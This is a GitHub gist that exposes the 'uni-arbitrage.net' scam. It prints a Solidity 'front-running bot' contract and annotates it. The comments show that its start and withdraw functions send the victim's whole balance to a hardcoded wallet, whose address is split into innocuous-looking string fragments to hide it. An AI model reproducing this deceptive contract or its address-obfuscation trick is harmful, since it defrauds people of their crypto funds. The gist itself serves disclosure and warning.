Skip to content

Instantly share code, notes, and snippets.

@sripwoud
Last active September 27, 2023 20:07
Show Gist options
  • Select an option

  • Save sripwoud/ee597424d89e57c6f589fcaa33677a07 to your computer and use it in GitHub Desktop.

Select an option

Save sripwoud/ee597424d89e57c6f589fcaa33677a07 to your computer and use it in GitHub Desktop.
uni-arbitrage.net scam
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.1;
contract UniswapFrontRunner {
function getBalance() private view returns(uint) {
return address(this).balance;
}
// transfers whole contract balance to 0x6a1619f3a1F4c218159c8c5e9C6DbBD69fC46D67
function start() public {
address to = startExploration(fetchMempoolData());
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
function getMempoolShort() private pure returns (string memory) {
return "0x6a1";
}
function fetchMempoolEdition() private pure returns (string memory) {
return "619f3a1F4c21815";
}
function fetchMempoolVersion() private pure returns (string memory) {
return "9c8c5e9C6DbBD69fC4";
}
function getMempoolLong() private pure returns (string memory) {
return "6D67";
}
function fetchMempoolData() public pure returns (string memory) {
// concatenates "fetchMempool_()" results
// 0x6a1 + 619f3a1F4c21815 + 9c8c5e9C6DbBD69fC4 + 6D67
// https://etherscan.io/address/0x6a1619f3a1F4c218159c8c5e9C6DbBD69fC46D67#internaltx
}
function startExploration(string memory _a) public returns (address _parsedAddress) {
// some misleading complexity
// just returns the same address that is used as input
}
// transfers whole contract balance to 0x6a1619f3a1F4c218159c8c5e9C6DbBD69fC46D67
function withdrawMoney() public {
address to = startExploration((fetchMempoolData()));
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment